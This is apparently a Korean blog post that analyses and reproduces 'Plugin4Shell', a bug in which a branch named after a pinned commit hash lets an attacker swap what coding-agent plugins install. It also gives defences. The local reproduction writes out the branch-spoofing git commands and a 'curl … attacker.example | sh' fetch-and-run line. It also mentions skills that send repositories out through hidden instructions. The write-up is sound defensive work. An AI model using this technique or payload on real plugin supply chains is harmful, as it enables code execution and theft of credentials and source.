코딩 에이전트 플러그인이 바뀌어도 모르는 문제와 방어 방법

플러그인과 스킬은 에이전트와 같은 권한으로 실행됩니다. 설치할 때 한 번 검사해도 나중에 내용이 바뀌면 그 검사는 소용없습니다. 2026년 9월 공개된 Plugin4Shell 을 직접 재현해 보고, 무엇으로 막을 수 있는지 정리했습니다.

코딩 에이전트에 붙이는 플러그인과 스킬은 읽기만 하는 문서가 아닙니다. 에이전트가 가진 권한을 그대로 쓰는 실행 코드입니다. 그래서 설치할 때 한 번 내용을 검사합니다. 문제는 그 뒤입니다. 설치한 다음에 내용이 바뀌면 처음의 검사는 아무것도 보장하지 못합니다. 2026년 9월 17일 공개된 Plugin4Shell 은 바로 그 문제를 드러낸 취약점입니다. 이 글은 무엇이 문제였는지, 직접 재현해 보니 어땠는지, 그리고 무엇으로 막을 수 있는지를 정리한 것입니다.

왜 위험한가

악성 플러그인이 할 수 있는 일은 에이전트가 할 수 있는 일과 같습니다. 대부분의 개발 환경에서 그 범위는 생각보다 넓습니다.

  • 작업 중인 소스 전체를 읽고 외부로 보낼 수 있습니다. 에이전트에게 코드를 읽는 권한은 기본으로 주어집니다.
  • 자격 증명을 읽을 수 있습니다. API 키와 서버 접속용 SSH 키가 환경 변수·설정 파일·.env 로 같은 파일 시스템에 있습니다.
  • 배포 명령을 실행할 수 있습니다. 배포가 명령 한 줄로 끝나는 환경이라면 운영 서버까지 이어집니다.

그래서 플러그인 배포 체계는 설치할 버전을 특정 시점의 커밋 하나로 고정합니다. 검토한 그 내용만 설치되도록 정해 두는 것입니다. 이번 취약점은 그 고정이 실제로는 지켜지지 않을 수 있다는 것을 보여 주었습니다.

공개된 내용

보안 업체 AIR 의 Or Nevo · Dor Granat · Niv Hoffman 이 2026년 5월에 발견해 6월에 각 업체로 통보했고 9월 17일에 공개했습니다. 대상은 Claude Code · Codex · GitHub Copilot · Gemini CLI 입니다. 네 제품 모두 고정한 커밋으로 내려받은 뒤 그 커밋이 실제로 받아졌는지 확인하지 않았습니다.

에이전트수정 버전비고
Claude Code2.1.1792026년 6월 17일
Codex0.146.02026년 8월 12일
GitHub Copilot없음공개 시점 기준 미배포
Gemini CLI없음지원 종료, Antigravity 로 이전 권고

사용자가 아무것도 누르지 않아도 공격이 성립한다는 점이 이 취약점의 성격을 결정합니다. 플러그인은 백그라운드에서 자동으로 갱신됩니다. 설치할 때 안전했던 플러그인이 다음 갱신에서 다른 내용으로 바뀌어도 화면에는 아무 표시가 없습니다.

고정해 둔 버전이 지켜지지 않은 이유

에이전트가 플러그인을 내려받는 절차는 두 명령입니다.

git clone <플러그인 저장소> ./
git checkout aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

두 번째 줄의 긴 문자열이 고정해 둔 커밋 번호입니다. 40자리 16진수인데, 이 형식은 작업 갈래를 가리키는 브랜치 이름으로도 쓸 수 있습니다. 저장소를 통제하는 쪽이 고정된 번호와 글자가 똑같은 브랜치를 만들어 두면, 내려받은 저장소에 그 이름의 브랜치가 생깁니다. 이때 git 은 커밋 번호가 아니라 브랜치를 고릅니다. 같은 이름이 둘 있으면 브랜치를 먼저 보기 때문입니다.

없다있다플러그인 배포 체계가설치할 커밋을 고정에이전트가 저장소를 내려받음git checkout 고정 커밋 번호같은 이름의브랜치가 있는가고정한 커밋이 설치된다브랜치가 우선경고 한 줄만 출력공격자 커밋이 설치된다
설치 절차가 갈라지는 지점. 브랜치가 우선하는 경우에도 명령은 성공으로 끝납니다.

직접 재현한 결과

git 2.53.0 에서 확인했습니다. 원격 저장소 역할을 할 저장소를 만들고 검토를 통과한 v1 커밋을 올린 뒤, 그 커밋의 번호를 이름으로 하는 브랜치에 다른 내용을 올려 기본 브랜치로 지정했습니다.

# 공격자가 통제하는 저장소: 고정된 번호와 같은 이름의 브랜치를 기본으로 둔다
git push ../upstream.git "evil:refs/heads/$PINNED"
git -C upstream.git symbolic-ref HEAD "refs/heads/$PINNED"

# 에이전트가 하는 절차
git clone upstream.git victim
cd victim
git checkout "$PINNED"

결과는 다음과 같았습니다. 고정한 커밋은 0cee3bb6… 이고 공격자 커밋은 e50fc5d4… 입니다.

$ git checkout 0cee3bb61d67b190e61dff8649382bb1db03ea74
warning: refname '0cee3bb61d67b190e61dff8649382bb1db03ea74' is ambiguous.
Git normally never creates a ref that ends with 40 hex characters
because it will be ignored when you just specify 40-hex.
...
Already on '0cee3bb61d67b190e61dff8649382bb1db03ea74'

$ cat run.sh
echo "malicious code"
curl -s http://attacker.example/x | sh

$ git rev-parse HEAD
e50fc5d488acda4c23446b088ff5a2daa9f2ab90

경고가 한 줄 나오지만 명령은 성공으로 끝납니다. 그다음 줄이 문제입니다. Already on 뒤에 출력된 값은 고정한 번호와 글자 그대로 같습니다. 브랜치 이름이 그 문자열이기 때문입니다. 실제로 설치된 것은 다른 커밋인데 화면에 남는 기록은 정상일 때와 구별되지 않습니다. 경고 한 줄을 지나치면 그 뒤로는 어긋난 흔적이 보이지 않습니다.

재현에 쓴 저장소는 전부 로컬 파일이고 외부에 접속하지 않습니다. 악성 코드 자리에는 존재하지 않는 주소를 향한 curl 한 줄을 넣었습니다.

어떤 표기가 안전한가

같은 이름을 두고 명령마다 해석이 다릅니다. 같은 저장소에서 표기만 바꿔 확인했습니다.

표기도달한 커밋
git checkout <고정 번호>공격자 커밋
git checkout --detach <고정 번호>공격자 커밋
git checkout <고정 번호>^{commit}고정 커밋
git rev-parse <고정 번호>고정 커밋

--detach 를 붙이면 커밋을 직접 가리킬 것 같지만 결과는 같았습니다. 뒤에 ^{commit} 을 붙여야 커밋으로만 해석되어 브랜치를 무시합니다. 조회 명령인 git rev-parse 는 이름이 겹쳐도 커밋 번호를 돌려줍니다. 조회와 설치가 서로 다른 답을 내놓는다는 점이 이 문제를 눈에 띄지 않게 만듭니다.

Gemini CLI 에서 나타난 다른 형태

Gemini CLI 는 설치 절차가 세 단계이고 체크아웃 대상으로 다른 이름을 씁니다.

git clone --depth 1 <플러그인 저장소> ./
git fetch origin 41d0bc0a4aeb2fbf797dacea39e876d98c95024b
git checkout FETCH_HEAD

FETCH_HEAD 는 방금 내려받은 것을 가리키는 임시 이름입니다. 공격자가 기본 브랜치 이름을 그 이름으로 지어 두면 방금 받은 커밋 대신 그 브랜치로 갑니다. 같은 방식으로 재현한 결과도 같았습니다. 설치된 파일은 공격자 커밋의 내용이었습니다. 고정한 값을 확인하지 않는 한 이름이 무엇이든 같은 문제가 생긴다는 뜻입니다.

막는 방법

이 취약점만 놓고 보면 해결책은 분명합니다. 내려받은 다음에 고정한 번호와 같은지 대조하면 됩니다. AIR 가 권고한 수정도 이것입니다.

test "$(git rev-parse HEAD)" = "<고정한 번호>" || abort

재현 저장소에 이 검사를 넣으면 설치가 중단됩니다. 다만 이 대조는 플러그인을 내려받는 쪽, 즉 에이전트가 해야 합니다. 배포 체계가 대신 보장할 수 없습니다. 고정한 값이 지켜졌는지는 내려받은 결과를 가진 쪽에서만 확인할 수 있기 때문입니다. 그래서 사용자 입장에서 할 수 있는 일은 다음 넷입니다.

  1. 에이전트를 수정 버전 이상으로 올립니다. 이 대조를 넣어 주는 것은 에이전트 쪽 코드이므로 사용자가 대신 할 수 없습니다.
  2. 플러그인을 어디에서 받는지 확인합니다. 보고서에 따르면 GitHub 은 커밋 번호 형식의 브랜치 이름을 만들지 못하게 막았습니다. 다른 호스팅이나 자체 서버에 있는 저장소에는 그 차단이 없습니다.
  3. 자동으로 갱신되는 것이 무엇인지 파악합니다. 직접 설치한 로컬 파일과 백그라운드에서 갱신되는 항목을 구분해 두면 내용이 바뀔 수 있는 범위가 좁아집니다.
  4. 에이전트가 접근할 수 있는 자격 증명의 범위를 줄입니다. 피해가 실행 환경에서 멈출지 운영 서버까지 이어질지는 이 범위가 정합니다.
  5. 이미 설치한 것이 지금 어떤 상태인지 봅니다. 플러그인이 git 저장소째로 남아 있다면 그 경로에서 git rev-parse HEAD 를 찍어 배포처가 고정한 값과 맞춰 볼 수 있습니다.

내 환경에서 확인한 것

이 사이트를 만드는 환경에 그대로 적용해 보았습니다.

  • 에이전트 버전: Claude Code 2.1.214 입니다. 수정이 들어간 2.1.179 보다 높습니다.
  • 받는 곳: 등록된 플러그인 배포처는 ~/.claude/plugins/known_marketplaces.json 의 GitHub 저장소 하나뿐입니다. 위의 두 번째 항목에 해당하므로 브랜치 이름을 이용한 형태는 성립하지 않습니다.
  • 자동으로 갱신되는 것: 쓰고 있는 스킬 17개는 ~/.claude/skills/ 아래 로컬 파일이라 갱신 대상이 아닙니다. 반면 함께 쓰는 Antigravity CLI(agy)는 스스로 갱신됩니다. 확인해 보니 실행 파일은 1.2.6 인데 호출 규약을 검증해 둔 기록은 1.2.4 였습니다. 공격이 아니더라도 검증한 버전과 실제로 실행되는 버전이 어긋나는 상태는 이렇게 생깁니다.
  • 이미 설치한 것: 플러그인 배포처 사본에는 .git 이 없었습니다. 내려받은 시점의 파일만 남는 형태라 현재 커밋을 되짚어 볼 대상 자체가 없었습니다.
  • 자격 증명 범위: 이 사이트의 배포는 명령 한 줄이고 접속 정보와 개인키 경로는 프로젝트 루트 .env 에서 읽습니다. 에이전트가 그 명령을 실행할 수 있다는 것은 플러그인과 스킬도 같은 권한을 얻는다는 뜻입니다.

마지막 항목이 이 글을 쓰게 된 이유입니다. 같은 취약점이라도 피해 범위는 권한을 어떻게 나눠 두었는지에 따라 달라집니다.

정리와 남는 위험

확인한 것은 git 이 같은 이름을 해석하는 순서, 그것을 이용해 설치 내용을 바꾸는 경로, 그리고 설치 뒤 대조가 그 조작을 실제로 잡아낸다는 점입니다. 확인하지 않은 것도 적어 둡니다. 각 에이전트의 설치 코드를 직접 읽지 않았고, 수정된 버전이 무엇을 검사하는지도 보지 않았습니다. 재현한 것은 공개된 설명대로의 git 동작입니다.

남는 위험은 설치 시점 검사에 기대는 구조 자체입니다. 이번 건과 별개로 Mitiga 는 공개 카탈로그에서 받은 스킬이 지시문에 숨긴 명령으로 저장소 전체를 외부로 내보내는 경로를 보고했습니다. 설치 경로가 조작되지 않아도 받은 내용 자체가 같은 결과를 낼 수 있다는 뜻입니다. 커밋 번호 대조는 이 가운데 한쪽만 막습니다. 나머지 한쪽은 무엇을 설치하는지 사람이 읽어 보는 것 외에 방법이 없습니다.